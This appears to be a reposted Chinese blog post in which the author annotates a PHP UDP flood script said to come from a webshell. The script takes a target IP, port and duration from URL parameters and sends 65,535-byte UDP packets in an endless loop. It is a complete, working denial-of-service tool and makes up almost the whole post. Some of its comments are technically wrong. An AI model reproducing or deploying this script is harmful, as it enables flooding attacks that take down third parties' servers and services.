PHP使用udp模拟http请求实现DDOS攻击

来源:互联网 发布:version for mac 破解 编辑:程序博客网 时间:2024/06/06 05:56

声明:这篇文章中的代码是我Copy的,原作者:小Dの马甲 原文章地址:http://bbs.blackbap.org/thread-2233-1-5.html

原作者是2011年写的这篇文章,那么为什么我现在才复制过来呢?因为当时我看到这篇文章的时候完全看不懂啊!不过感觉好高端,以至于给我留下了很深的印象,过了四五年都还记得......

这段时间正在学习PHP,偶然间又遇见了,所以拿来写写注释。

据原作者说这代码也不是他本人写的,具体谁写的他也不清楚,因为这段代码是他从一个国外的webshell上面搞到的。

废话不说了,贴出注释过的代码:

<?php$packets = 0;$ip = $_GET['ip'];$rand = $_GET['port'];//设置允许脚本运行的时间,单位为秒;如果设置为0(零),没有时间方面的限制。set_time_limit(0);//设置客户端断开连接时是否中断脚本的执行,当设置为FALSE时表示浏览器断开后脚本不再继续执行。默认为FALSEignore_user_abort(FALSE);$exec_time = $_GET['time'];//返回当前的 Unix 时间戳 $time = time();print "Flooded: $ip on port $rand <br><br>";$max_time = $time+$exec_time;//for循环创建一个长度为65535的字符串,内容为“X”,65535一般是内存地址最大值:1×1111111for($i=0;$i<65535;$i++){//字符串拼接        $out .= "X";}//无限循环while(1){$packets++;//直到执行时间到达所设置的时间($exec_time)就终止        if(time() > $max_time){                break;        }        //执行fsockopen()函数。打开网络的 Socket 链接,resource fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] )        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);        if($fp){        //向打开的链接中写入数据($out-65535个"X")                fwrite($fp, $out);                fclose($fp);        }}echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";?>


0 0
原创粉丝点击